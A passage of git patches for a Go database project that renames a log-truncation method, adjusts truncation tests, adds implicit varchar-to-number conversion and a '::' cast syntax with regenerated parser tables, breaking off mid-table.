require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.Truncate(context.Background(), hdr.ID) + err = c.TruncateUptoTx(context.Background(), hdr.ID) require.NoError(t, err) for i := hdr.ID; i <= 20; i++ { diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index 86dc7e3c7c..3efe651a72 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -269,7 +269,7 @@ func TestStoreScanEndKey(t *testing.T) { func TestStoreScanWithTruncation(t *testing.T) { rootPath := t.TempDir() - fileSize := 12 + fileSize := 8 options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) @@ -279,7 +279,7 @@ func TestStoreScanWithTruncation(t *testing.T) { db := makeDbWith(t, "db", options) - for i := 0; i < 10; i++ { + for i := 1; i < 10; i++ { _, err := db.Set( context.Background(), &schema.SetRequest{ @@ -294,16 +294,16 @@ func TestStoreScanWithTruncation(t *testing.T) { deletePointTx := uint64(5) - t.Run("ensure data is truncated up to delete point", func(t *testing.T) { - hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) - require.NoError(t, err) + t.Run("ensure data is truncated until the deletion point", func(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), deletePointTx)) for i := deletePointTx; i < 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, false, tx) + + err := db.st.ReadTx(i, false, tx) require.NoError(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) @@ -312,8 +312,10 @@ func TestStoreScanWithTruncation(t *testing.T) { for i := deletePointTx - 1; i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, false, tx) + + err := db.st.ReadTx(i, false, tx) require.NoError(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) @@ -323,33 +325,31 @@ func TestStoreScanWithTruncation(t *testing.T) { t.Run("ensure scanning prefix works post data deletion", func(t *testing.T) { scanOptions := schema.ScanRequest{ - SeekKey: nil, - Prefix: []byte(`prefix:`), - Limit: 0, - Desc: false, - SinceTx: deletePointTx, + Prefix: []byte(`prefix:`), + Desc: false, } list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) - require.GreaterOrEqual(t, len(list.Entries), 6) - require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix3`)) - require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix4`)) - require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix5`)) + require.Equal(t, 5, len(list.Entries)) + require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix5`)) + require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix6`)) + require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`)) + require.Equal(t, list.Entries[3].Key, []byte(`prefix:suffix8`)) + require.Equal(t, list.Entries[4].Key, []byte(`prefix:suffix9`)) scanOptions = schema.ScanRequest{ - SeekKey: []byte(`prefix?`), - Prefix: []byte(`prefix:`), - Limit: 0, - Desc: true, - SinceTx: deletePointTx, + Prefix: []byte(`prefix:`), + Desc: true, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) - require.GreaterOrEqual(t, len(list.Entries), 6) + require.Equal(t, 5, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix9`)) require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix8`)) require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`)) + require.Equal(t, list.Entries[3].Key, []byte(`prefix:suffix6`)) + require.Equal(t, list.Entries[4].Key, []byte(`prefix:suffix5`)) }) } diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 66704e805d..8863aeb94a 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -40,9 +40,9 @@ type Truncator interface { // * Returns nil TxHeader, and an error. Plan(ctx context.Context, truncationUntil time.Time) (*store.TxHeader, error) - // Truncate runs truncation against the relevant appendable logs. Must + // TruncateUptoTx runs truncation against the relevant appendable logs. Must // be called after result of Plan(). - Truncate(ctx context.Context, txID uint64) error + TruncateUptoTx(ctx context.Context, txID uint64) error } func NewVlogTruncator(d DB) Truncator { @@ -109,8 +109,8 @@ func (v *vlogTruncator) commitCatalog(ctx context.Context, txID uint64) (*store. return tx.Commit(ctx) } -// Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. -func (v *vlogTruncator) Truncate(ctx context.Context, txID uint64) error { +// TruncateUpTo runs truncation against the relevant appendable logs upto the specified transaction offset. +func (v *vlogTruncator) TruncateUptoTx(ctx context.Context, txID uint64) error { defer func(t time.Time) { v.metrics.ran.Inc() v.metrics.duration.Observe(time.Since(t).Seconds()) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 0df8d217d7..0bf4147b62 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -97,7 +97,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) for i := deletePointTx; i < 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -142,7 +142,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) for i := deletePointTx; i < 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -211,7 +211,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) @@ -354,7 +354,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -436,7 +436,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // ensure that a transaction is added for the sql catalog commit require.Equal(t, uint64(2), db.st.LastCommittedTxID()) @@ -497,7 +497,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -529,7 +529,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) @@ -597,7 +597,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { c := NewVlogTruncator(db) - require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) close(doneTruncateCh) }() diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index 1769ca9dc5..97c3b0485a 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -169,7 +169,7 @@ func (t *Truncator) Truncate(ctx context.Context, retentionPeriod time.Duration) // Truncate discards the appendable log upto the offset // specified in the transaction hdr - err = c.Truncate(ctx, hdr.ID) + err = c.TruncateUptoTx(ctx, hdr.ID) if err != nil { return err } diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index a4837abf9e..05cf0a9198 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -83,7 +83,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.Truncate(ctx, hdr.ID) + err = c.TruncateUptoTx(ctx, hdr.ID) require.NoError(t, err) for i := uint64(1); i < hdr.ID-1; i++ { @@ -221,9 +221,9 @@ func (m *mockTruncator) Plan(context.Context, time.Time) (*store.TxHeader, error return nil, m.err } -// Truncate runs truncation against the relevant appendable logs. Must +// TruncateUptoTx runs truncation against the relevant appendable logs. Must // be called after result of Plan(). -func (m *mockTruncator) Truncate(context.Context, uint64) error { +func (m *mockTruncator) TruncateUptoTx(context.Context, uint64) error { return m.err } From d62812e709ec190cc59896c45dcb4a85947131f8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 23 Mar 2023 15:21:31 -0300 Subject: [PATCH 0364/1062] test(pkg/database): minor file size change in trunctation unit test Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 91e4661376..90785b3494 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2170,7 +2170,7 @@ db := makeDb(t) func Test_database_truncate(t *testing.T) { options := DefaultOption().WithDBRootPath(t.TempDir()) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). - WithFileSize(16). + WithFileSize(8). WithVLogCacheSize(0) db := makeDbWith(t, "db", options) From 05d17844a5c4db6f50ef668dca8e1beb518ba9f1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 16:50:16 -0300 Subject: [PATCH 0365/1062] chore(embedded/sql): implicit conversion from varchar to int and float types Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 2 +- embedded/sql/engine_test.go | 6 +++--- embedded/sql/implicit_conversion.go | 21 +++++++++++++++++++++ embedded/sql/implicit_conversion_test.go | 17 +++++++++-------- 4 files changed, 34 insertions(+), 12 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 0c14bf8534..4af2e8e4db 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -83,7 +83,7 @@ var ErrLimitedIndexCreation = errors.New("index creation is only supported on em var ErrTooManyRows = errors.New("too many rows") var ErrAlreadyClosed = store.ErrAlreadyClosed var ErrAmbiguousSelector = errors.New("ambiguous selector") -var ErrUnsupportedCast = errors.New("unsupported cast") +var ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) var ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") var maxKeyLen = 256 diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 36c080f09d..90c616efea 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -463,7 +463,7 @@ func TestFloatType(t *testing.T) { require.NoError(t, err) _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrNotComparableValues) + require.ErrorIs(t, err, ErrUnsupportedCast) err = r.Close() require.NoError(t, err) @@ -1278,9 +1278,9 @@ func TestUpsertInto(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, id) VALUES (1, 2)", nil) require.ErrorIs(t, err, ErrDuplicatedColumn) - _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES ('1', true)", nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES ('1a', true)", nil) require.ErrorIs(t, err, ErrInvalidValue) - require.Contains(t, err.Error(), "is not an integer") + require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES (NULL, false)", nil) require.Equal(t, ErrPKCanNotBeNull, err) diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go index c4e76307ba..4cc15017f3 100644 --- a/embedded/sql/implicit_conversion.go +++ b/embedded/sql/implicit_conversion.go @@ -32,6 +32,13 @@ func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType switch value := val.(type) { case float64: return val, nil + case int: + converter, err = getConverter(IntegerType, Float64Type) + if err != nil { + return nil, err + } + + typedVal = &Integer{val: int64(value)} case int64: converter, err = getConverter(IntegerType, Float64Type) if err != nil { @@ -39,6 +46,13 @@ func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType } typedVal = &Integer{val: value} + case string: + converter, err = getConverter(VarcharType, Float64Type) + if err != nil { + return nil, err + } + + typedVal = &Varchar{val: value} } case IntegerType: switch value := val.(type) { @@ -51,6 +65,13 @@ func mayApplyImplicitConversion(val interface{}, requiredColumnType SQLValueType } typedVal = &Float64{val: value} + case string: + converter, err = getConverter(VarcharType, IntegerType) + if err != nil { + return nil, err + } + + typedVal = &Varchar{val: value} } default: // No implicit conversion rule found, do not convert at all diff --git a/embedded/sql/implicit_conversion_test.go b/embedded/sql/implicit_conversion_test.go index 0735e52d55..10da9fa68b 100644 --- a/embedded/sql/implicit_conversion_test.go +++ b/embedded/sql/implicit_conversion_test.go @@ -25,19 +25,20 @@ import ( func TestApplyImplicitConversion(t *testing.T) { for _, d := range []struct { - val TypedValue + val interface{} requiredType SQLValueType - result interface{} + expected interface{} }{ - {&Integer{val: 1}, IntegerType, int64(1)}, - {&Integer{val: 1}, Float64Type, float64(1)}, - {&Float64{val: 1}, Float64Type, float64(1)}, - {&Varchar{val: "hello world"}, IntegerType, "hello world"}, + {1, IntegerType, int64(1)}, + {1, Float64Type, float64(1)}, + {1.0, Float64Type, float64(1)}, + {"1", IntegerType, int64(1)}, + {"4.2", Float64Type, float64(4.2)}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { - convVal, err := mayApplyImplicitConversion(d.val.RawValue(), d.requiredType) + convVal, err := mayApplyImplicitConversion(d.val, d.requiredType) require.NoError(t, err) - require.Equal(t, d.result, convVal) + require.EqualValues(t, d.expected, convVal) }) } } From e03bedd23d15c048aef7a6439b83c863937080cf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 16:50:53 -0300 Subject: [PATCH 0366/1062] feat(embedded/sql): short casting syntax Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser.go | 22 +- embedded/sql/sql_grammar.y | 7 +- embedded/sql/sql_parser.go | 399 +++++++++++++++++++------------------ 3 files changed, 226 insertions(+), 202 deletions(-) diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 2aeebdc748..a3ecfb56e7 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -88,6 +88,7 @@ var reservedWords = map[string]int{ "IF": IF, "IS": IS, "CAST": CAST, + "::": SCAST, } var joinTypes = map[string]JoinType{ @@ -414,6 +415,21 @@ func (l *lexer) Lex(lval *yySymType) int { return VARCHAR } + if ch == ':' { + ch, err := l.r.ReadByte() + if err != nil { + lval.err = err + return ERROR + } + + if ch != ':' { + lval.err = fmt.Errorf("colon expected") + return ERROR + } + + return SCAST + } + if ch == '@' { if l.namedParamsType == UnnamedParamType { lval.err = ErrEitherNamedOrUnnamedParams @@ -532,10 +548,6 @@ func (l *lexer) readNumber() (string, error) { return l.readWhile(isNumber) } -func (l *lexer) readDot() (string, error) { - return l.readWhile(isDot) -} - func (l *lexer) readString() (string, error) { var b bytes.Buffer @@ -627,5 +639,5 @@ func isDoubleQuote(ch byte) bool { } func isDot(ch byte) bool { - return '.' == ch + return ch == '.' } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index bf500a0c57..55a3fb3ad6 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -74,7 +74,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL %token NOT LIKE IF EXISTS IN IS -%token AUTO_INCREMENT NULL CAST +%token AUTO_INCREMENT NULL CAST SCAST %token NPARAM %token PPARAM %token JOINTYPE @@ -858,6 +858,11 @@ boundexp: { $$ = $2 } +| + boundexp SCAST TYPE + { + $$ = &Cast{val: $1, t: $3} + } opt_not: { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index d1e23bbd0c..568a696847 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -116,22 +116,23 @@ const IS = 57403 const AUTO_INCREMENT = 57404 const NULL = 57405 const CAST = 57406 -const NPARAM = 57407 -const PPARAM = 57408 -const JOINTYPE = 57409 -const LOP = 57410 -const CMPOP = 57411 -const IDENTIFIER = 57412 -const TYPE = 57413 -const INTEGER = 57414 -const FLOAT = 57415 -const VARCHAR = 57416 -const BOOLEAN = 57417 -const BLOB = 57418 -const AGGREGATE_FUNC = 57419 -const ERROR = 57420 -const DOT = 57421 -const STMT_SEPARATOR = 57422 +const SCAST = 57407 +const NPARAM = 57408 +const PPARAM = 57409 +const JOINTYPE = 57410 +const LOP = 57411 +const CMPOP = 57412 +const IDENTIFIER = 57413 +const TYPE = 57414 +const INTEGER = 57415 +const FLOAT = 57416 +const VARCHAR = 57417 +const BOOLEAN = 57418 +const BLOB = 57419 +const AGGREGATE_FUNC = 57420 +const ERROR = 57421 +const DOT = 57422 +const STMT_SEPARATOR = 57423 var yyToknames = [...]string{ "$end", @@ -198,6 +199,7 @@ var yyToknames = [...]string{ "AUTO_INCREMENT", "NULL", "CAST", + "SCAST", "NPARAM", "PPARAM", "JOINTYPE", @@ -232,110 +234,110 @@ const yyEofCode = 1 const yyErrCode = 2 const yyInitialStackSize = 16 -var yyExca = [...]int{ +var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, -1, 74, - 57, 138, - 60, 138, + 57, 139, + 60, 139, -2, 127, - -1, 187, + -1, 189, 43, 103, -2, 98, - -1, 216, + -1, 218, 43, 103, -2, 100, } const yyPrivate = 57344 -const yyLast = 376 - -var yyAct = [...]int{ - 73, 293, 60, 181, 139, 209, 233, 237, 88, 136, - 145, 173, 215, 106, 232, 98, 174, 156, 45, 6, - 79, 266, 101, 179, 204, 179, 179, 224, 18, 179, - 275, 270, 252, 250, 225, 269, 253, 180, 238, 149, - 251, 220, 203, 201, 76, 193, 124, 78, 192, 178, - 234, 91, 87, 89, 90, 239, 147, 59, 92, 200, - 82, 83, 84, 85, 86, 61, 118, 119, 121, 120, - 77, 197, 124, 117, 103, 81, 110, 127, 128, 122, - 123, 124, 130, 132, 132, 158, 131, 129, 122, 123, - 112, 109, 118, 119, 121, 120, 97, 96, 20, 171, - 141, 118, 119, 121, 120, 62, 124, 138, 256, 99, - 292, 286, 153, 148, 255, 110, 142, 124, 152, 160, - 161, 162, 163, 164, 165, 123, 150, 202, 121, 120, - 204, 194, 172, 175, 179, 124, 229, 118, 119, 121, - 120, 62, 122, 123, 143, 186, 105, 184, 61, 170, - 187, 176, 62, 249, 57, 118, 119, 121, 120, 61, - 221, 71, 190, 195, 191, 188, 185, 189, 196, 199, - 255, 62, 27, 28, 137, 108, 231, 76, 207, 102, - 78, 177, 157, 211, 91, 87, 89, 90, 213, 159, - 154, 92, 107, 82, 83, 84, 85, 86, 61, 151, - 113, 175, 219, 77, 65, 230, 157, 226, 81, 63, - 93, 236, 222, 34, 49, 44, 144, 228, 218, 240, - 227, 248, 265, 235, 198, 264, 167, 111, 247, 242, - 241, 115, 116, 166, 244, 175, 26, 124, 168, 126, - 40, 169, 64, 55, 35, 278, 257, 294, 295, 258, - 72, 210, 148, 262, 261, 182, 285, 273, 260, 99, - 272, 39, 267, 243, 104, 32, 274, 37, 18, 283, - 276, 268, 53, 279, 208, 206, 281, 31, 30, 21, - 245, 284, 134, 287, 133, 41, 42, 205, 290, 291, - 288, 94, 95, 282, 76, 296, 212, 78, 297, 114, - 66, 91, 87, 89, 90, 67, 10, 11, 92, 183, - 82, 83, 84, 85, 86, 61, 43, 146, 2, 29, - 77, 12, 70, 69, 140, 81, 47, 48, 7, 19, - 8, 9, 13, 14, 33, 22, 15, 16, 254, 38, - 100, 125, 18, 246, 23, 25, 24, 263, 50, 51, - 52, 277, 289, 223, 259, 75, 74, 271, 217, 216, - 214, 68, 46, 54, 36, 58, 56, 80, 280, 135, - 155, 17, 5, 4, 3, 1, +const yyLast = 378 + +var yyAct = [...]int16{ + 73, 295, 60, 183, 140, 211, 235, 239, 88, 137, + 146, 175, 217, 106, 234, 98, 176, 157, 45, 6, + 79, 268, 101, 181, 226, 206, 181, 18, 181, 181, + 277, 272, 72, 254, 252, 271, 227, 182, 240, 150, + 255, 253, 222, 76, 205, 203, 78, 195, 194, 180, + 91, 87, 236, 89, 90, 241, 148, 59, 92, 110, + 82, 83, 84, 85, 86, 61, 202, 133, 199, 133, + 77, 159, 132, 117, 103, 81, 76, 128, 129, 78, + 130, 112, 131, 91, 87, 109, 89, 90, 97, 96, + 20, 92, 62, 82, 83, 84, 85, 86, 61, 61, + 142, 99, 110, 77, 62, 57, 124, 139, 81, 294, + 258, 288, 154, 149, 122, 123, 143, 153, 257, 161, + 162, 163, 164, 165, 166, 206, 151, 118, 119, 121, + 120, 196, 124, 174, 177, 124, 181, 144, 105, 251, + 122, 123, 231, 27, 28, 223, 188, 197, 186, 171, + 172, 189, 178, 118, 119, 121, 120, 108, 121, 120, + 173, 62, 138, 192, 204, 193, 190, 187, 191, 198, + 201, 62, 124, 257, 71, 107, 233, 124, 61, 209, + 122, 123, 220, 102, 179, 213, 123, 267, 158, 160, + 215, 155, 158, 118, 119, 121, 120, 152, 118, 119, + 121, 120, 113, 177, 221, 124, 65, 232, 26, 228, + 63, 34, 49, 238, 224, 127, 44, 145, 200, 230, + 266, 242, 229, 93, 126, 237, 118, 119, 121, 120, + 124, 244, 243, 250, 168, 111, 246, 177, 40, 169, + 249, 167, 170, 64, 115, 116, 55, 35, 259, 296, + 297, 260, 280, 212, 149, 264, 263, 184, 287, 275, + 262, 99, 274, 39, 269, 245, 104, 32, 276, 37, + 18, 285, 278, 270, 53, 281, 210, 208, 283, 31, + 30, 21, 247, 286, 135, 289, 134, 41, 42, 207, + 292, 293, 290, 94, 95, 76, 284, 298, 78, 2, + 299, 214, 91, 87, 114, 89, 90, 67, 10, 11, + 92, 66, 82, 83, 84, 85, 86, 61, 185, 147, + 38, 29, 77, 12, 43, 70, 69, 81, 47, 48, + 7, 22, 8, 9, 13, 14, 33, 141, 15, 16, + 23, 25, 24, 19, 18, 256, 100, 125, 248, 265, + 50, 51, 52, 279, 291, 225, 261, 75, 74, 273, + 219, 218, 216, 68, 46, 54, 36, 58, 56, 80, + 282, 136, 156, 17, 5, 4, 3, 1, } -var yyPact = [...]int{ - 302, -1000, -1000, 12, -1000, -1000, -1000, 252, -1000, -1000, - 329, 166, 304, 246, 245, 223, 143, 190, 226, -1000, - 302, -1000, 182, 182, 182, 299, -1000, 145, 318, 144, - 143, 143, 143, 236, -1000, 188, 71, -1000, -1000, 139, - 186, 134, 282, 182, -1000, -1000, 312, 238, 238, 271, - 10, 9, 214, 109, 228, -1000, 222, -1000, 66, 122, - -1000, 4, 36, -1000, 168, 3, 130, 281, -1000, 238, - 238, -1000, 121, 20, 183, -1000, 121, 121, 0, -1000, - -1000, 121, -1000, -1000, -1000, -1000, -1000, -1, -1000, -1000, - -1000, -1000, -3, -1000, 261, 259, 104, 104, 319, 121, - 64, -1000, 147, -1000, -31, 82, -1000, -1000, 129, 35, - 120, -1000, 112, -2, 119, -1000, -1000, 20, 121, 121, - 121, 121, 121, 121, 170, 181, -1000, 56, 45, 228, - 11, 121, 121, 112, 111, -39, 54, -1000, -51, 207, - 292, 20, 319, 109, 121, 319, 318, 228, 122, -4, - 122, -1000, -40, -43, -1000, 51, -1000, 92, 104, -16, - 45, 45, 176, 176, 56, -15, -1000, 161, 121, -28, - -45, -1000, 74, -46, 50, 20, -1000, 265, 242, 108, - 241, 202, 121, 278, 207, -1000, 20, 151, 122, -47, - -1000, -1000, -1000, -1000, 136, -62, -54, 104, -1000, 56, - -12, -1000, 65, -1000, 121, 106, -37, -1000, -37, -1000, - 121, 20, -32, 202, 214, -1000, 151, 220, -1000, -1000, - 122, 255, -1000, 165, 81, -1000, -55, -48, -56, -52, - 20, -1000, 90, -1000, 121, 34, 20, -1000, -1000, 104, - -1000, 212, -1000, -31, -1000, -32, 163, -1000, 159, -69, - -1000, -1000, -1000, -1000, -1000, -37, 234, -53, -57, 216, - 210, 319, -58, -1000, -1000, -1000, -1000, -1000, 232, -1000, - -1000, 195, 121, 101, 275, -1000, 230, 207, 209, 20, - 31, -1000, 121, -1000, 202, 101, 101, 20, -1000, 30, - 196, -1000, 101, -1000, -1000, -1000, 196, -1000, +var yyPact = [...]int16{ + 304, -1000, -1000, 3, -1000, -1000, -1000, 254, -1000, -1000, + 325, 137, 306, 248, 247, 225, 140, 193, 228, -1000, + 304, -1000, 180, 180, 180, 307, -1000, 145, 320, 141, + 140, 140, 140, 238, -1000, 191, 21, -1000, -1000, 139, + 187, 135, 293, 180, -1000, -1000, 315, 20, 20, 273, + 1, 0, 216, 112, 230, -1000, 224, -1000, 57, 104, + -1000, -3, 22, -1000, 176, -7, 131, 286, -1000, 20, + 20, -1000, 239, 45, 159, -1000, 239, 239, -8, -1000, + -1000, 239, -1000, -1000, -1000, -1000, -1000, -16, -1000, -1000, + -1000, -1000, -21, -1000, 263, 261, 91, 91, 332, 239, + 56, -1000, 147, -1000, -32, 100, -1000, -1000, 126, 33, + 120, -1000, 117, -17, 118, -1000, -1000, 45, 239, 239, + 239, 239, 239, 239, 178, 182, 77, -1000, 116, 74, + 230, 71, 239, 239, 117, 113, -40, 55, -1000, -52, + 209, 301, 45, 332, 112, 239, 332, 320, 230, 104, + -19, 104, -1000, -41, -42, -1000, 50, -1000, 75, 91, + -20, 74, 74, 169, 169, 116, 144, -1000, 155, 239, + -22, -1000, -44, -1000, 111, -45, 44, 45, -1000, 267, + 244, 108, 243, 204, 239, 283, 209, -1000, 45, 114, + 104, -47, -1000, -1000, -1000, -1000, 121, -66, -53, 91, + -1000, 116, -13, -1000, 70, -1000, 239, 105, -36, -1000, + -36, -1000, 239, 45, -33, 204, 216, -1000, 114, 222, + -1000, -1000, 104, 257, -1000, 177, 66, -1000, -55, -48, + -56, -49, 45, -1000, 92, -1000, 239, 37, 45, -1000, + -1000, 91, -1000, 214, -1000, -32, -1000, -33, 158, -1000, + 124, -70, -1000, -1000, -1000, -1000, -1000, -36, 236, -54, + -58, 218, 212, 332, -59, -1000, -1000, -1000, -1000, -1000, + 234, -1000, -1000, 202, 239, 90, 278, -1000, 232, 209, + 211, 45, 30, -1000, 239, -1000, 204, 90, 90, 45, + -1000, 28, 198, -1000, 90, -1000, -1000, -1000, 198, -1000, } -var yyPgo = [...]int{ - 0, 375, 318, 374, 373, 372, 19, 371, 370, 17, - 9, 7, 369, 368, 14, 6, 16, 11, 367, 8, - 20, 366, 365, 2, 364, 363, 10, 317, 18, 362, - 361, 161, 360, 12, 359, 358, 0, 15, 357, 356, - 355, 354, 3, 5, 353, 13, 352, 351, 1, 4, - 261, 347, 343, 341, 22, 340, 338, 329, +var yyPgo = [...]int16{ + 0, 377, 299, 376, 375, 374, 19, 373, 372, 17, + 9, 7, 371, 370, 14, 6, 16, 11, 369, 8, + 20, 368, 367, 2, 366, 365, 10, 319, 18, 364, + 363, 174, 362, 12, 361, 360, 0, 15, 359, 358, + 357, 356, 3, 5, 355, 13, 354, 353, 1, 4, + 263, 349, 348, 347, 22, 346, 345, 343, } -var yyR1 = [...]int{ +var yyR1 = [...]int8{ 0, 1, 2, 2, 57, 57, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 50, 50, 11, 11, 5, 5, 5, 5, @@ -349,11 +351,11 @@ var yyR1 = [...]int{ 33, 33, 34, 35, 35, 37, 37, 41, 41, 38, 38, 42, 42, 43, 43, 47, 47, 49, 49, 46, 46, 48, 48, 48, 45, 45, 45, 36, 36, 36, - 36, 36, 36, 36, 36, 39, 39, 39, 53, 53, - 40, 40, 40, 40, 40, 40, 40, 40, + 36, 36, 36, 36, 36, 39, 39, 39, 39, 53, + 53, 40, 40, 40, 40, 40, 40, 40, 40, } -var yyR2 = [...]int{ +var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 11, 8, 9, 6, 8, 0, 3, 1, 3, 9, 8, 7, 8, @@ -367,44 +369,44 @@ var yyR2 = [...]int{ 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, 1, 1, 2, - 2, 4, 4, 6, 6, 1, 1, 3, 0, 1, - 3, 3, 3, 3, 3, 3, 3, 4, + 2, 4, 4, 6, 6, 1, 1, 3, 3, 0, + 1, 3, 3, 3, 3, 3, 3, 3, 4, } -var yyChk = [...]int{ +var yyChk = [...]int16{ -1000, -1, 